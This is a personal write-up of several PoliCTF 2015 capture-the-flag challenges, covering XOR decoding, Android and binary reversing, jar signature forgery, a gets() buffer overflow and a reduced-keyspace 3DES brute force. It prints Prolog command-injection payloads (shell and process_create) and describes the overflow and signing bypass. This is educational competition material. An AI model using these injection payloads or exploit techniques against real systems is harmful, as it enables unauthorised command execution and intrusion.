This is a writeup from the first capture the flag competition I participated in, the PoliCTF. The challenges ranged from web vulnerabilities, through crypto challenges to writing binary exploits. I really enjoyed the competition and I am looking forward to the next year.

## Exorcise

This one is trivial, a server is listening for user input and responding with some hex-encoded data.


$nc exorcise.polictf.it 80 2e0540472c37151c4e007f481c2a0110311204084f aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaa 2e0541061a3e150908123e50123e12513e12080c110d043e180e143e12090e140d053e090017043 e120e0d1704053e3e08153e500f3e543e1204021c070d00061a3e150908123e50123e12513e1208 0c110d043e180e143e12090e140d053e090017043e120e0d58452d397f101b2a110f2d507f01000 2190f0206470f371d1b491e3a42003e14557f0a0618501c17301b0e17330a480e191e013b114111 0a2b531b0413450f3a2647541045063a47281a16065d120404141e7f151a0c533544002b53517f1 11c03130445301f4f023a1a1a0b550e1d2b0d12  The flag can be extracted by xoring the user-provided string with the server response. ## Hanoi as a service Connecting to the provided address: $ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
3
* Move top disk from a to b
* Move top disk from a to c
* Move top disk from b to c
* Move top disk from a to b
* Move top disk from c to a
* Move top disk from c to b
* Move top disk from a to b


Hmm, cool, let’s see, what happens on invalid input:

How many disks does your tower have?
asd
ERROR: </2: Arithmetic: asd/0' is not a function>


It runs Prolog, great. After a while of reading up on the syntax, I figured how to inject arbitrary code. So I tried the obvious:

How many disks does your tower have?
1),shell("/bin/ls")%
Nice try...


It looks like the shell() and unix() functions were removed. After some more searching the documentation, I found that Prolog also has process_create(), which works:

How many disks does your tower have?
1),process_create(path(uname), ['-a'], [])%
* Move top disk from a to b
Linux ip-172-31-2-198 3.14.39grsec1.0-grsec #2 SMP Thu Apr 23 15:12:34 CEST 2015 x86_64 x86_64 x86_64 GNU/Linux


I am not really sure if this is the intended solution or process_create was just overlooked but hey, it works :)

## Crack me if you can

This one is an Android app. Unpacking the .apk and running strings on classes.dex yields:

$strings classes.dex | grep flag flag flagging 'flagging{It_cannot_be_easier_than_this} flags suggest_flags  It turns out that this flag is just a bait, so some further digging is needed. Disassembling the dalvik .dex using smali reveals three classes. it └── polictf2015 ├── a.smali ├── b.smali ├── c.smali └── LoginActivity.smali  a.smali is just some OnClickListener implementation, but b.smali and c.smali both contain methods of this form: These are then composed in LoginActivity.smali The next step is to extract the obfuscated string from resourses.arsc. The content can be guessed from the substitution functions being called, so strings+grep is enough to do the job. $ strings resources.arsc | grep spdgj
ee[[c%l][c{g}[%{%Mc%spdgj=]T%aat%=O%bRu%sc]c%ti[o%n=Wcs%=No[t=T][hct%=buga[d=As%=W]e=T%ho[u%[%g]h%t[%}%


Now I just implemented deobfuscator in Python and captured the flag.

## Reversemeplz

The binary provided in this challenge expects input on stdout and returns “Wrong input.” unless the input matches the flag.

Opening the binary in radare2 reveals that the input string is fed into some verifying function which iterates over it, checking whether individual characters are lowercase letters and applying some mysterious transformation. It then does some checking to see, if the flag is correct.

By testing various inputs, it turns out, that the transformation is just plain rot13.

The next stage then checks if differences between adjacent characters match some hard-coded values.

The flag string can therefore be easily reconstructed:

This outputs two possible values for the flag, both of which are correct.

## John pastry shop

In this challenge, the server accepts a .jar file containing implementation of the provided Cake class. It then prints the ingredients added in its addIngredientsToCake().

The provided ShamanoCakeContainerEncoded.jar:

$cat ShamanoCakeContainerEncoded.jar | nc pastry.polictf.it 80 nc: using stream socket Welcome to John's Pastry Shop! In John's opinion this cake container seems a trusted one from Shamano's Pastry Shop. And it also contains a valid NewYorkCheeseCake. This seems a tasty cake! Here are its ingredients: * Cream Cheese * Biscuits * Sugar * Isinglass Thanks for visiting John's Pastry Shop!  The objective is to submit a .jar file containing implementation of the provided abstract Cake class which sets the shouldBeAddedTheSpecialIngredient variable to true. The .jars are first encoded by a simple algorithm from Decode.java. Rewritten to Python: Just packing a .jar with the custom NewYorkCheeseCake.class and submiting it to the server is not enough though. $ cat encoded.jar | nc pastry.polictf.it 80                                       1s
Welcome to John's Pastry Shop!
[Error] The cake container has unsigned class files. Exit now..


The server seems to require a signature. The challenge description heavily hints that the certificate chain is not actually verified, so signing the jar is just a matter of creating a certificate with field values identical to the one used to sign the original .jar. This is an easy jarsigner exercise, omitted for brevity.

$cat evil.jar | nc pastry.polictf.it 80 1s nc: using stream socket Welcome to John's Pastry Shop! In John's opinion this cake container seems a trusted one from Shamano's Pastry Shop. And it also contains a valid NewYorkCheeseCake. This seems a tasty cake! Here are its ingredients: flag{PinzimonioIsTheSecretIngredientAndANiceFlag} Thanks for visiting John's Pastry Shop!  ## John’s library This challenge required exploiting a binary running on a remote server. $ ./johns-library
Welcome to the jungle library mate! Try to escape!!

u - exit
a
Hey mate! Insert how long is the book title:
5
Lorem ipsum dolor sit amet

u - exit
r
Insert the index of the book you want to read: 1
ipsum dolor sit amet
u - exit
u
bye bye!


Starting radare2 and looking at the add_element_to_library function, a buffer overflow can be immediately spotted in a gets() call. This allows an attacker to overwrite return value of the main function.

As there is no way to know address at which the shellcode is going to be placed, another pointer, further down the stack needs to be used. This pointer points slightly below the buffer, but after setting up the exploit in such a way that its least significant byte is overwritten with the string terminating \0 (this trick only works on little endian machines), it points somewhere inside the 1024 byte buffer about ~20% of the time.

And putting it all together into a python script:

## 3DOGES2

This one was definitely the most fun. Connecting to the provided address:

\$ nc doges.polictf.it 80
Welcome! Wanna talk with John? Follow the instructions to get a Secure Channel.
37c072e4b3b3940243ece6d5005cd79a0002e2e634495036082b98f9663d6f071030ff85434a653
0fb9736845fa47aa723e2703191269ba14

You surely know what to do with this:

Insert key:


Looking at the connection handling code:

So it sends a constant string and a password encrypted with 3DES. The key is generated by the following:

As cracking 3DES is not an option (yet), the vulnerability has to be in the key generation. The function seems to attempt to generate EDE2 key, but due to the way 3DES works, it generates only what is equivalent to normal DES. DES itself is attackable, but not on my hardware and not on time to finish before the competition ends.

Let’s look a little more at individual byte generation:

Input into the process consists only of 5 bits per key byte. This means that the keyspace has at most 2⁴⁰ keys. Still a bit much.

The magic bit shuffling cannot probably generate all 32 values:

{0, 27, 32, 59, 68, 95, 100, 127, 141, 150, 169, 173, 201, 210, 242, 246}
`

So about half that. This means a keyspace of 2³², which should be searchable relatively quickly.

My first implementation in Python using PyCrypto had too much overhead and the total search time was about ~100 hours. After I rewrote the cracker in C, calling OpenSSL directly, the time it took to iterate over the entire keyspace decreased down to about 30 minutes.